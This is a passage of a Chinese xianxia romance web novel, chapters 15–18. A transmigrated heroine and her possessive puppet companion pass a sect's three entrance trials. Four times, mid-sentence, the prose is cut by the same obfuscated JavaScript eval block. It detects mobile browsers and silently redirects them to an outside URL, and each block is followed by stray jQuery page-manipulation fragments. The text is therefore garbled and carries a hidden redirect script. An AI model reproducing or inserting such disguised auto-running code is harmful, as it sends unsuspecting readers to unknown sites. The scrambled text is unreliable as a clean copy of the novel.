只见几步开外,立着个穿着扎眼又骚气十足的浅粉长袍男子,玉冠束发,长相俊朗,生了双看谁都深情的桃花眼。手持一柄花哨的油纸伞,笑吟吟地望着他们。活像只无时无刻不在开屏的花孔雀,招摇过市。 宁瑶心下腹诽,大晴天偏要执把花伞,站在这里,“春天”仿佛就来了。 眸底暗潮涌动,拂过腰间四角铃铛,他眸色微沉瞧着闯入之人正瞧着宁瑶,不爽的念头才起。下一秒,几乎在他张口的瞬间,眼神一戾,一脚已携风踹出。 粉色身影侧身,险险地避开凌厉一击。 “你是何时出现的?”宁瑶戒备扫了一眼他。 见到祁淮试探性的动作,她并未出口阻止。接过少年早贴心备好的水壶,不紧不慢地喝了一口。 “我一直就在那树后撑伞纳凉呀。”夜烁卿“啪”地合上伞,刻意又退后两步,与祁淮保持安全距离,后怕似的地拍了拍胸口。 “姑娘视线受树干所挡,自然瞧不见我。方才我若是躲慢半分,这会儿,我怕是已如断线风筝般飞出去咯。” 宁瑶看他一副夸张样,认真打量着他,熟悉念头一闪而过。 心下暗道,这运气可真“好”,她还没入门,就撞上限制文里所描写的深情男二——夜烁卿。 她的目光飞快扫过四周,未见到预想中熟悉的身影,反而不安感更浓。 这男二此刻不该守在女主云冉冉身边,极力献殷勤、送装备吗? 虽然洛子晟可带一人不用通过考核即可入宗门,可毕竟原著剧情已更改,谁知道女主会不会在人群里冒出头,要自己体验一下? 宁瑶不自然地攥紧拳,深吸一口气,强压下因“记忆”翻涌而泛起的坏情绪。 “行迹鬼祟,自然先出手了。”祁淮唇角上扬是挑不出错的笑意,却笑意不达眼底。 宁瑶定了定神,递了一个安抚笑意给祁淮,抬眼看向“花孔雀”,状若随意地问:“哦?敢问阁下说的是哪三关?” “自然是,勇、智、心。”夜烁卿指尖轻抚过玉白伞骨,桃花眼漾着盈盈笑意,不等宁瑶再问,自顾自叽叽喳喳补充起来,“一练胆魄,二试灵智,三问本心。三关皆过,方可择师而入,分列天道宗内外门。” 宁瑶边听边与左长泽给的情报默默对照,发现大致不差,心下更是狐疑。 夜烁卿无故搭话凑上来,所图为何…… 她努力回想那本没看完的限制文,依稀记得书中自己与这位男二并无交集。 真是书到用时方恨少。 除了满篇旖旎,只剩零星的剧情,此刻根本给不了半分助力。 宁瑶努力改变自己结局,她猜测书中剧情必然会发生改变。就是不知道属于男主、男二、男三和女主的“重要”剧情节点,是否会如期上演? 不过,若文字真化作现实,她能免费蹲一蹲,去围观吗? “咳咳,”宁瑶赶紧甩掉不合时宜的念头,暗自收敛起心神,冲夜烁卿微微颔首,“多谢告知。” “哎呀,不必客气,这修仙一途实在不易,多个朋友多条门路。” 夜烁卿边说,边状似不经意地瞥了眼宁瑶身侧。一直被忽视的深蓝色长袍的面具少年,身上银饰真是多到离谱。 祁淮微歪头,铃音轻响。 他半边身形遮掩宁瑶,一个极度保护欲的姿态。半垂长睫,负手时站姿如松柏,却透着几分漫不经心的随意感。面具之上露出的一双墨眸满是死寂。 看向他时,仿佛是在看一个……死人。 祁淮忽略不相干的人,看向宁瑶时面上扬起一抹惯常无害的笑意,“主人,可要换个地方休息?”连个余光都没扫向夜烁卿,全然当他不存在。 宁瑶顺着祁淮的小动静望去,弯眸一笑,心里冒出点好奇: 这人瞧着怎么有点……对,刻意无视。 不愧是她的傀儡,和她同气连枝。 夜烁卿心头莫名一梗,一股说不清、道不明的敌意似如影随形,缠绕在周身。 他半握拳虚虚一礼,桃花眼看向宁瑶,抢声问道:“姑娘,我叫夜烁卿,你看我又告知了情报又说了姓名,那可不可以问一下姑娘的芳名?而你身边这位是……” 宁瑶只好说道:“宁瑶,宁为玉碎的宁,瑶林玉树的瑶。至于旁边这位,是我的……” “祁淮。” “傀儡”少年恰在此刻温声接话,眸光迎上宁瑶时,无端带着几分春水般的暖意,倒让宁瑶晃神一瞬。 这哪像冷冰冰的傀儡,此刻真像个鲜活的“少年郎”。 他尾音轻扬,吐出后面几个字:“是主人的……傀儡。” 宁瑶点头:“对,是这么回事。” 夜烁卿目光在两人之间打了个转。 宁瑶坦然得毫不遮掩。 可她身侧的少年,除了那张覆面的银饰,举止气度,哪有半分傀儡的僵滞? 恰在此时,悠远的钟声荡入云际,打断了三人各自的思绪。 数道流光而至,接引众人前往天道宗入山关卡。 眼前白光炸开,宁瑶刚来得及适应光线,睁眼发现自己已经站在了一个巨大的山洞里。 洞穴四通八达,幽深莫测,一道金光在空中凝聚成一行简练的字:“每人需击败一只妖兽。” 话音刚落,不少人立刻四散开来,只剩下零星几人还留在原地。 宁瑶正要抬脚,余光就瞥见了一道阴魂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16505316|185801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不散的身影,夜烁卿正朝她这边走来。 心头一紧,赶紧拉上身边的少年转身就走。 救命,溜慢一点要被男二缠上,这和撞鬼有什么区别? 她带着少年匆匆穿过几个岔路口,越走却越觉得不对劲。 宁瑶用手在脸颊边扇着风,小声嘀咕:“奇怪,洞窟长得都差不多,怎么温度却越来越热?” 身旁的祁淮闻言挑眉看她,只见她面颊泛起不正常的潮红,连呼吸都带着几分灼热。可他分明感觉周遭温度如常。 “主人,我并未觉得炎热,你可是身体不适?” 宁瑶正想开口,一只微凉的手已经轻轻贴上了她的额头。 少年垂眸看她,眼底藏着难以察觉的关切,以及一丝隐秘的雀跃:“这样会舒服些么?”他喉结滚了滚,馨香随着靠近越发好闻。 宁瑶忙不迭点头,想起他是傀儡之身,体温本就低于常人。往他身边凑了凑,汲取那点凉意,觉得不够,干脆牵起他的手。 “不许动哦。”她说的理直气壮。 “还觉得热,主人?”祁淮压低嗓音,带着几分蛊惑,微微歪头凑近。俯身到几乎呼吸相闻的距离,铃音轻响,分明是几分缠人的意味。 宁瑶含糊地应了一声,因他的凑近,牵着他的手腕,引导他冰凉的手掌贴住自己发烫的脸颊。 祁淮顺从地任由她动作,垂眸一眨不眨地看着她主动贴近。悄悄运转灵力,让掌心的温度降得更低。 “主人,现在可好?” 小猫,好乖。 好想更近一点…… 宁瑶舒适地闭上眼,长舒一口气:“嗯,这样好多了。” 祁淮见她闭上眼,指尖几不可察地收紧,以便贴近她更多。 见宁瑶并无察觉,他的眼神变得越发肆意,描绘着她的每一寸轮廓,屏住呼吸凑到咫尺才停下。 宁瑶体内那股无名火仿佛被这凉意渐渐压了下去,皓腕上的红色宝石手串泛起微光,力量缓缓流转。 “看来这体质时不时就要闹点小脾气。”宁瑶无奈地笑笑。 待不适感消退,她方才睁开眼,抬眸看向始终安静注视着她的少年,“我们继续走吧。” 当他们终于寻到妖兽踪迹时,却来得不巧。 两只相貌奇丑的妖兽堵在路中,它们双眼赤红,腹部干瘪,像是被人故意投放于此,早已饿得发了狂。 黑影一闪,妖兽嘶吼着扑来。 宁瑶后撤半步,祁淮无声挡在她身前。 他指尖石针破空而去,精准没入妖兽心脉,剧毒瞬息蔓延,连半息挣扎都无。 宁瑶瞧着轰然倒地的妖兽,忍不住咂舌,这家伙的毒针倒是愈发刁钻了。 那傀儡师临走前也不知塞了多少好东西给他。 这傀儡贵有贵的道理呀。 “给你点赞,祁淮有你可真是太棒了。”宁瑶笑着眨了眨妍丽的亮眸。 祁淮心底隐秘着极为受用的微光,愉悦之色驱散了眼底的阴郁,面上依旧是标准无害乖巧的浅笑。 正当宁瑶走神,两只濒死妖兽竟暴起腾空发难,直冲她而来。 叮铃。 铃音清越,两只妖兽僵在半空,重重坠落。祁淮垂眸睨着尸身,眼底幽暗翻涌,“伤她,几条命都不够赔。” 他装乖无妨,但若伤她……不行。 16. 第16章 妖兽垂死挣扎前,暗留阵法显现,数根淬着幽光的毒刺自阴影中疾射而出,直刺入被保护在后方的宁瑶。 她根本来不及反应,只觉得眼前一晃,祁淮身影一闪,攥住她的手腕将人猛地向后带去。 电光石火间,一根毒刺在她眼前骤停。 叮铃叮铃。 伴随着铃铛轻响,少年苍白的手硬生生握住毒刺,锋利的尖端已洞穿他掌心,暗红血珠顺着苍白腕骨,滴答溅落成刺目的梅。 “谁准你用身子挡的?!” 宁瑶心头一紧,紧缩的心脏发颤,一股无名火窜上来,牵过他流血的手尽快处理。 指尖微颤却利索得很,清创、逼毒、包扎,她一气呵成,只是面上唇抿得发白。 祁淮任她摆布,眼尾微微弯起,阴郁眉目间透出几分得逞般的愉悦。 “你可是傀儡,万一我没治对方法怎么办?”宁瑶的声音不自觉地扬高,嗓音里带着自己都没察觉的焦灼。 祁淮歪了歪头,发间银铃随之轻响,声音像羽毛拂过心尖。 “主人养养我就好了。”祁淮眼尾微挑,眼尾的两颗小泪痣机具诱惑力,噙着无辜的笑,“主人,这点伤放在傀儡身上,愈合得可比凡人快多了。” 刚刚宁瑶简直像只被踩了尾巴的猫,撕去矜贵漂亮的外表,浑身的毛忍不住炸开了。 尤其是因他护她而伤,宁瑶没忍住外泄的情绪,又急又气瞪他一眼,着实有趣极了。 祁淮一眨不眨地望着她,眼底漾开愉悦的暗芒。 被他这么紧盯久了,宁瑶的心底无名火倒是散了大半,撇了撇嘴:“哦,我知道了。” 她才不承认是心疼这只傀儡。 只是眼下还有两关,危机四伏,她确实需要他在身边。 可真是如此吗? 宁瑶连甩了甩脑袋的思绪,强迫自己没在多想。 祁淮见她只顾低头包扎,连半个眼神都不再分给他,心头涌起一阵难以言喻的郁闷。 身子不动声色地凑近了些,直到宁瑶身上清甜暖香丝丝缕缕沁入他的每一次呼吸,勉强压下那股想要做点什么的阴郁念头。 包扎完伤口,祁淮亲手剥开皮肉,收了妖兽内丹,快步靠近宁瑶,周遭景致突如水纹般晃动起来。 祁淮加速步伐,伸手赶紧牵起宁瑶的手。 “主人,莫要走丢了。” 宁瑶的手被他拢在掌心,小得像是他拢了团温软的云。 温度透过微凉的掌心渗入血肉,暖得他想起苗疆连绵的雨季里,蹭过他袖口的,那只小猫的肉垫。 攥紧些,再紧些…… 念头如藤蔓疯长,缠绕得他心口发烫。 祁淮探出指尖,不由分说勾住了她的手指头,突如其来的动作带着一股痒意,惊得宁瑶抬眼。 她见身旁的少年眉眼低垂,并无异常。刚想收回手,空气里的灵力的震荡倏然停止了。 眼前一白,定神时,二人已立在一座朱门府邸前。 府邸外阵法光华流转,数百人的场上仅剩五十余人。 祁淮掌心陡然空了,连同心脏处也空落了一块。 宁瑶已放开了手,那莫名的痒意一同消失。目光轻扫,倏地定格在一位月白色长裙姑娘身上。 她真是想什么来什么。 夜烁卿已跟在云冉身侧,仍然打着他那一把花哨的油纸伞,叽叽喳喳不知道在说些什么。 宁瑶急忙收回视线,在云冉冉看来的瞬间背过身去,脚底发僵。 她不知自己为何会脑中嗡鸣一片,呼吸滞住,捏紧拳头才堪堪忍住浑身轻颤。 仿佛是一切噩梦的开始,更准确来说,是噩梦中的一环。 本以为自己早已百毒不侵,潇洒忘却,可从前“记忆”偏是一根毒刺,她清醒着却扎进她的血肉越深。 时刻提醒那些“记忆”的存在感。 洛子晟,云冉冉……她的难堪与不甘。 宁瑶深吸一口气,在心底朝天翻了个白眼。 这些是什么值得刻骨铭心的美好记忆吗?既然觉醒了,干嘛不顺便一键清空。 留着给她过年吗? 可惜老天奶没空搭理宁瑶的心底吐槽。 按照限制文的原著设定,云冉冉是那种娇俏易推倒的小白花女主,人美声甜,文写的飘香四溢。 此刻她正踮着脚尖朝这边张望,杏眼亮晶晶。 祁淮顺着宁瑶视线,发现那频频张望此处的少女。微皱眉头,身形已动,不着痕迹地挡在宁瑶身前。 银蓝色面具之上,他的视线始终锁在宁瑶脸上,将她细微的神情变化尽收眼底。 她似乎不愿意见到那人。 “主人,可是看见了什么人?”他低声道。 宁瑶回了神,微诧地看向祁淮。 傀儡少年满眼是她的存在,放空的思绪一瞬间回笼。 心底暗惊这傀儡居然细节敏锐之处如此地步,微张了张口,摇头勉强扯出个笑:“你倒是敏锐。” “毕竟是主人的事情,我都在意。”少年声线温和坚定,余光掠过云冉冉时闪过一丝阴鸷。 指尖拂过腰间四角铃铛,漫不经心地想:杀了就好了,全杀了就不碍她眼了。 涌到嘴边的话,宁瑶又咽了回去。 心底猝不及防地冒出三个大字——安全感。 居然从这沉默寡言的傀儡少年身上,尝到了久违的安心。 陌生又熟悉的滋味,像一股很难言喻的暖流在全身流淌。 她不得不从尘封的“记忆”里翻箱倒柜,东拼西凑,才勉强还原出三个字。 望着少年清瘦的侧影,宁瑶目光第一次不自觉地停驻了片刻。直到察觉自己走神,才慌忙移开视线。 五十多人分散在府邸外,已有人迫不及待推门而入,她正带祁淮去找破阵线索,两道身影偏偏打算堵住去路。 “宁小姐!宁小姐留步!” 夜烁卿隔着距离喊着她,瞧着某人越快的步伐反而喊的更带劲。收了伞,挥着不知从哪掏出来的竹笛,嗓门亮得让人头皮发麻。 宁瑶尴尬症自动犯了,见他还要喊,只好僵硬转身:“夜公子,有事?” “第二关考的是阵法,正是在下强项。”夜烁卿自信地把玩着竹笛,“听说冉冉姑娘与宁小姐相识,不如我们结伴同行?” 宁瑶默默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16517944|185801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往祁淮身边靠了半步,还没开口拒绝。 “郡主,安宁郡主!”云冉冉陡然凑到她眼前,一双干净的眼眸溢满难以置信。眼看就要给她行个跪拜大礼,宁瑶慌忙扶住她的手臂。 宁瑶眼皮一跳,她这是干什么? 一时间周围的人频频看向此处,好奇地目光,审视地目光,好不避讳。 云冉冉丝毫没觉得有什么问题,可落在旁人眼底,倒是多看了宁瑶一眼。 有人疑惑,有人轻嗤,更有人冷笑说出来:“进了天道宗,可不谈什么皇亲国戚。” 宁瑶下意识的脱身来不及,云冉冉已反手握住她的手,手掌微微用力,不许她挣脱。 “没想到能在这儿见到安宁郡主。” 宁瑶干笑了一声,“是啊,好巧。” 忽觉得腕间一紧,祁淮轻巧地带回身侧,阴鸷寒凉视线不着痕迹地擦过云冉冉的手背,逼得云冉冉无意识缩回手,往夜烁卿身侧凑了凑。 “主人,我们该走了。”祁淮声音里听不出情绪,宁瑶顿时松了一口气。 云冉冉讪讪将手背在身后,偷偷打量傀儡少年。 她听夜烁卿刚才说了,未曾见过这般高大挺拔的傀儡。容貌虽被面具遮掩,但仍能通过模糊的轮廓猜测他的相貌定然不凡。 估算花了不少钱吧,怕是能买下半座城…… 云冉冉余光轻轻瞥了宁瑶一眼。 “郡主,我们往哪边走?”她不死心地想凑近,却见祁淮几不可察地拉着宁瑶避开。 “这边。”宁瑶反手拽着祁淮的袖子,快步往前走。身后两道紧跟的步伐,颇为头疼地揉了揉太阳穴。 这都什么事儿。 宁瑶还没来得及想出甩开那两人的法子,脚下阵法流光转动。府中禁制被触发,直接将三人传送到了不同方位。 这下倒好,不但男二女主被她甩开了,连祁淮也不见了踪影。 “祁淮……” 祁淮实力不弱,想来可以脱困。 宁瑶猝然扶住墙壁,胸口涌上一阵燥热。细密汗珠布满额头,仿佛有一团火焰在灵脉中流窜。 若是祁淮在身边就好了。 宁瑶警惕地扫了一眼四周,腕间手链及时泛起凉意的灵气,将令人心慌的热度压了下去,让她清明了几分。 缓了片刻,呼吸平稳后,宁瑶重新打量起这条幽深回廊,破局关键无非两种:找到阵眼线索,或是触发传送机关。 换句话说,考智力与眼力。 宁瑶沿着绘满四象图腾的廊庑小心探查,路过雕花木门时,顿住脚步。 整条回廊唯独这扇门并无任何四象图腾的雕花。 她试探性地推开一道缝,倒抽一口冷气。 门内三头六臂的怪物缓缓转身,长毛间隐约露出青面獠牙,长相奇丑无比。 她赶紧后退一步,屋内伸出数条藤蔓缠上她的腰肢,猛地拽了进去。 三只怪物围拢过来,绕着她打转。 宁瑶暗中催动灵力,却发现屋内布着压制灵力的禁制。 这些怪物只围她转着,丝毫没有攻击的意思。 转得宁瑶头晕眼花,忍不住扶额咋舌。 17. 第17章 “停。别转了,再转下去我真要吐了。你们能说话吗?能不能沟通?”宁瑶无语凝噎,说完就看着绕圈的脚步戛然而止。 其中一只怪物竟还一副好商量似的语气,怯生生地开口吐出人言:“你、你也没说要我们开口呀……” 宁瑶闻言嘴角狠狠一抽,正要接话,三只怪物不约而同朝她扑来。 不是吧,闹她玩了? 电光石火间,一抹黑影自宁瑶肩头飞出,和他们缠斗在一起。她定睛一瞧,忍不住倒抽一口凉气,连退两步。 一条通体乌黑的蛇蓦然膨胀身形,赤红竖瞳如浸血般骇人。 它张口便吞下三只怪物,利齿碾碎骨骼的咔嚓声,令她头皮发麻。 待它满足地打了个饱嗝,空气中弥漫开腥甜与酸腐交织的浊气。 宁瑶捂住胸口,闭住呼吸,有些反胃地干呕了一声。 她从未见过这么粗壮的巨蛇,简直可以说是噩梦具象化的存在。 她的每个细胞都在叫嚣着逃离,正欲悄然后撤,那头黑蛇却倏然转头,与她四目相对。 盘起来蛇身格外庞大,赤红的竖瞳牢牢锁住她,猩红信子每一次吞吐都带来一股凉气。 宁瑶呼吸微窒,打了个寒颤,生理心理上一种本能对蛇的恐惧。 她从一条黑蛇的眼中察觉出熟悉的异样气息,黑蛇吐着蛇形子凑近脑袋,可再看到宁瑶眼底害怕时微微顿住,晃了晃脑袋。 她来不及思索,就在寒意窜上脊背的刹那,身后脚步靠近。 叮铃,铃铛…… 清脆铃音自耳后荡开。 微凉掌心覆上她的眼帘,带着若有似无的草木清香。 修长身影站在她僵直的身形后,一丝难以分辨的怪异感,他缓缓贴近,在察觉她并未抗拒时,得寸进尺地收拢臂弯。 “祁、祁淮?”她喉间发紧,紧张咽了口唾沫,感受到对方俯身,鼻息似有若无拂过发顶。 发辫银铃轻振,他喉间溢出清浅笑音:“主人,我在了。” 听到铃响的瞬间,宁瑶悬着的心落回半分,随即又揪得更紧。 现在似乎只要他在,自己便能安心许多。 宁瑶轻咳一声,打破了微妙的氛围,待她抬手拿来微凉的手,眼前的光线重新汇聚,方才盘踞在地的黑蛇早已不见踪影。 她想起初见祁淮那日,少年便是这般操纵着诡谲的术法,满地蛇虫瞬息间将那些贼寇啃噬得只剩森森白骨。 “方才那条黑蛇……也是你养的?”宁瑶忍不住追问。 “是啊,主人。”祁淮应得轻描淡写,面上依旧风轻云淡,可转向她时,嘴角扬起无害温良的笑意,步履轻盈地凑近打量一番。 压制住幽深的眸光,暗藏起一份病态玩味的笑意,“主人没受伤吧?有没有吓着主人?” “就凭那三个草包?”宁瑶梗着脖子,挺直背脊。余光不由自主瞥向黑蛇消失的地方,“你平日都把这黑蛇藏在哪里?” 祁淮指尖抚过腰间四角铃铛,饶有兴味地欣赏着她既害怕又好奇的模样。 微敛袖口,一段系着红绳的腕骨显露出来,上面缀着枚黢黑的,极为迷你的小铃铛。 “在这。”祁淮话音一落,黑铃轻轻震颤,并无声音,倏忽间幻出一蛇影。 通体乌黑的小蛇缠上他腕间,盘在他的手腕两圈,友好地对她吐着蛇形子。 至于她为什么看出友好,这蛇似幼犬的模样摇晃尾尖,吐出欢快的蛇信子。 盯着摇晃的蛇尾,宁瑶一时语塞。 这年头,蛇都学会摇尾巴讨好了。 她飞快地别开眼,强作镇定地轻咳,实在喜欢不起来蛇。 祁淮眼尾微挑,像是早看穿她这点小心思,非但没收回手,反倒将缠着黑蛇的腕子又往前递了半分。 黑蛇幽冷的鳞片,赤红的竖瞳都让她有些惊吓地睁大眼。 他目光幽深盯着她每一寸表情变化,声音不经意放得又轻又软:“主人,它很听话。” 宁瑶看着塞进视野的黑蛇,骇得后仰半步,她硬生生僵在原地,连呼吸都放轻了。 少年凝视着她微微发颤的肩头,眼底掠过一丝晦暗的愉悦,自然舍不得真让它触碰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16528321|185801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到她,可看小猫失态的模样竟是这般有趣。 黑蛇尝试着伸出蛇尾一截,祁淮的手腕便往回缩一截,两个回合下来,他指节微微蜷紧。 似乎是怕它吓到宁瑶的贴心举动。 可腕间黑蛇明显感知到他翻涌的占有欲,才悻悻缩回了探出的蛇尾。 “主人你看,它确实没有伤人。”祁淮放柔嗓音,语气似有蛊惑。 指尖若有似无地抚过蛇首,眸光始终缠绕在宁瑶因紧张染上浅粉的脸颊。 好乖,他好想触碰…… 看着黑蛇并无攻击行为,宁瑶这才胆子大了一些,瞧了眼傀儡少年垂着长睫并无刻意,悄悄地松了口气。 黑蛇温顺地盘踞在他腕间,宁瑶试探地往前挪了半步,勉强打起精神道:“好像,确实有点可爱……”个大头鬼。 “它,可有名字?”宁瑶生硬地转移话题,生怕这傀儡少年又有什么歪点子,别让她去触碰黑蛇就行。 祁淮剑眉微挑,状似漫不经心地瞥了它一眼,“不曾。不然,主人为它取一个?” “给它?”宁瑶干笑了两声,别开脸去,随口胡诌一个,“就叫他怪怪。变大变小,怪、怪厉害的。” 祁淮指尖抚过四角铃铛,忽地从喉间溢出一声轻笑。 “笑什么啊。”宁瑶耳尖发烫,也认为不太好听,佯装很忙地转头,专心打量起石室。 “谢主人赐名。”祁淮垂眸轻抚蛇首,望着她忙碌的背影,弯了弯唇,眼底掠过晦暗的微光。 宁瑶蹲下身,指尖触向墙角一道隐现灵光的符文,精神一振,“找到了。” 灵力注入的刹那,四周景象化作漫天星斗流转。四象星宿在他们四周熠熠生辉,二十八宿明明灭灭。 这一刻,“手可摘星辰”具象化了。 望着星宿上的星子排列,宁瑶看的入迷,记忆如潮水涌来。 幼时夏夜,她曾趴在娘亲膝头,指向天幕:“那颗星星好亮呀。” “白虎七宿的参宿哦。”那双温柔握住她的小手在夜空里轻轻比划,回忆到此也不禁令她鼻尖发酸。 18. 第18章 她凝神分辨星轨差异,忽觉袖摆一紧。 祁淮苍白的指尖勾了勾着她的衣袖,他看向一旁,发间银饰随之轻晃,“主人,看那里。” 顺着他示意的方向,宁瑶来到白虎图腾前。她运转灵力挪动,星辰随之移位,终于回归正轨。 “不愧是你,祁淮。”宁瑶笑得眉眼弯弯,人影在星光里似渡了一层微光。 祁淮垂下眼帘,将眼底翻涌的暗色藏起。 骤然间,星河倒转,阵法应声而破。 第二关禁制应声消散,眼前景物晃动。再定睛时,宁瑶惊得睁大眼。 第三关竟把宁府给复刻出来,连墙角那块松动的青砖都一模一样。 她顺着记忆中的小路往里走,脚步不自觉放慢,直到看见熟悉的玉兰别院,心头一跳,拎起裙裾就往前冲。 “吱呀——” 院门被单手推开。 满树玉兰迎风摇曳,正是幼时记忆里最鲜活的模样。 树下立着一位青衣女子,未施粉黛,眉如远山,眼含星辰。 她似有所感,回眸一笑,朝宁瑶张开双臂:“瑶瑶,快来,来娘亲这里。” “娘亲!”宁瑶呼吸一滞,什么都顾不上了,提起裙裾就飞奔过去。 可无论她跑得多快,小径却仿佛没有尽头。 眼看青衣女子的身影开始明灭不定,宁瑶急得一个踉跄,被石子绊倒在地。再抬头时,玉兰树,别院,还有她朝思暮想的人全都消失了。 她的心蓦地空落了一块。 宁瑶眼尾泛红,眼眶发热,慌忙地仰起头,泪水几乎要从眼眶夺目而出,她拼命眨着眼睛,直到那阵酸涩退去。 指尖轻轻拭去眼角的湿意,目光重新落回院中那株孤独的玉兰。 “假的终归是假的。”她深吸一口气,指尖跃起一簇小火苗,随手抛向枝头。 火焰倏地窜起,吞没了满树繁花。 可即便知道是幻象,能再见这一面,她也认了,哪怕是假的也值得。 宁府的幻境陡然流转,眼前再看,竟场景转变是尸骸遍野,血海翻涌。 腥风扑面而来,侧眸却有一株玉兰在迎风摇曳,万万想不到树下立着的一道孤影。 祁淮? 他漆黑瞳仁如深潭直勾勾地看向她,缠着银铃的发辫随着歪头的动作轻轻一响,单手抚过腰间四角铃铛。 她看的清晰,绝不会出错。 陡然一道毫无感情的机械之声,从幻境的天际而来:“万千生灵与一人,汝当何择?” 宁瑶嘴角一抽。 经典的送命狗血题是真给她撞上了。 限制文原著怎么写来着,女主云冉冉可是斩钉截铁选了苍生。 第三关“问心”的题库浩瀚,这题中奖率堪比彩票。 她这个恶毒女配,能和女主抽到同款,这运气待遇,她不去买彩票真是可惜了。 宁瑶仰头望天,眸中闪过狡黠的光:“那我反问,四十九人与五十一人,你救哪边?四百九十九与五百零一,又当如何?” 水镜前围观的长老们集体哑然。 几位白胡子老头面面相觑,最终有个抱着酒壶的老头举了举手,醉眼朦胧地打了个酒嗝:“老夫写的题,怎么了?梦里想的,本就没答案。” 宁瑶早料到无人应答。这和著名的列车实验一样,直至今日也是众说纷纭。 “这问题本就没有标准答案。” 宁瑶声音清越,字字铿锵,“我不会为所谓多数,便牺牲他一人。但既是尘世中人,自当尽力,救所能救之人。灾难面前无人能置身事外,亦无人该被轻易牺牲。” 宁瑶说完后好一阵子,四周静得只剩下她的呼吸声。正纳闷呢,眼前的第三关机关的“咔哒”一声,破解开了。 眼前白光骤亮,她闭上眼等定睛一看,有些哭笑不得。 所有人折腾了半天,其实压根就没离开过原地半步,看来自钟声开始他们就陷入了幻境中。 宁瑶紧绷的神经骤然一松,强撑着的力气被瞬间抽空,脚下一个踉跄,软软地向身后的树干靠去。 后背并未撞上预想中的冷硬,而是撞入一个带着山间草木清香般微凉的怀抱,发顶似擦过什么。 宁瑶侧头抬眼,瞬间望进了一双幽深熟悉的眼眸里。 除了祁淮,还能有谁。 祁淮专注看着她,唇瓣微抿,唇瓣上还残留偷偷蹭过她发顶的温度,鼻翼处满是她身上似有若无的馨香。 他的指尖顺着少女的小臂轻轻划过,力道控制得恰到好处。 宁瑶毫无察觉,只以为祁淮是扶稳她的动作。 祁淮眼底被取悦般的暗芒一闪而过,嗓音低沉:“主人感觉可还好?” “还行。”宁瑶勉强一笑,轻揉了揉太阳穴,站直身形。 祁淮控制不住地向前一步贴近她,温凉的掌心轻轻扶住宁瑶的肩头,将她往自己怀里带了带。 少女的后背隔着薄薄衣料贴上他的胸膛,沉稳微缓的心跳竟漏了一拍,略带急促起来。 宁瑶似有察觉抬眸,祁淮依旧是温良无害的模样,仿佛刚刚的一切是她的一场错觉。 炎夏的热浪还未散尽,祁淮身上的温度似乎是为她量身定制,她惬意地眯起眼,感受身后传来的微凉体温,真像靠着块上好的冷玉般舒爽。 “主人可舒服?”祁淮微歪头,数股小辫上铃音轻响。 宁瑶全然把他当成了人形靠枕,懒懒地应着:“舒服极了。” 见她闭上眼,他不再掩饰,饶有兴趣地描摹着宁瑶闭目养神的模样,像只收起爪子的猫儿,矜贵中透着慵懒。 无人发现的此处,“依偎”的两人,少年深沉的注视良久。 这时陆陆续续有人从幻境中挣脱出来,每个通过三关考验的弟子手心,那枚梧桐木牌都化作一颗土黄色的珠子,约莫半个拳头大小。 宁瑶正低头研究珠子,忽然一道清越的声音打断了众人的思绪。 一位白衣青年御剑而下,衣袂飘飘,扫了眼在场众人:“请各位捏碎传送珠,青云广场静候诸位师弟师妹。” 他说话时目光似有若无地从宁瑶身上掠过,注意到这一点,祁淮便不动声色上前一步遮挡,微微前倾身形。 宁瑶刚要捏碎珠子,她突然想到什么,转头一把牵住祁淮微凉的手掌。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16531835|185801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他手掌的凉意带着不属于“人”的低温。 宁瑶收起平日里的笑脸,神色认真道:“跟紧我,祁淮。” 祁淮眼睫轻颤,偏头来,垂眸静静地看着宁瑶,眸底翻涌着暗流,几乎要让他忍不住前倾身形靠近她,闻到她身上令他躁动的馨香才算得上满意。 好想更近一点。 不够,还不够。 宽大袖口下,祁淮另一只手的掌心里静握着一颗珠子,思及此,他将珠子藏起。 他轻轻回握宁瑶的手指,“好啊,主人。”他唇角弯起乖巧的笑,银蓝色面具上露出的深邃眼眸眨了眨。 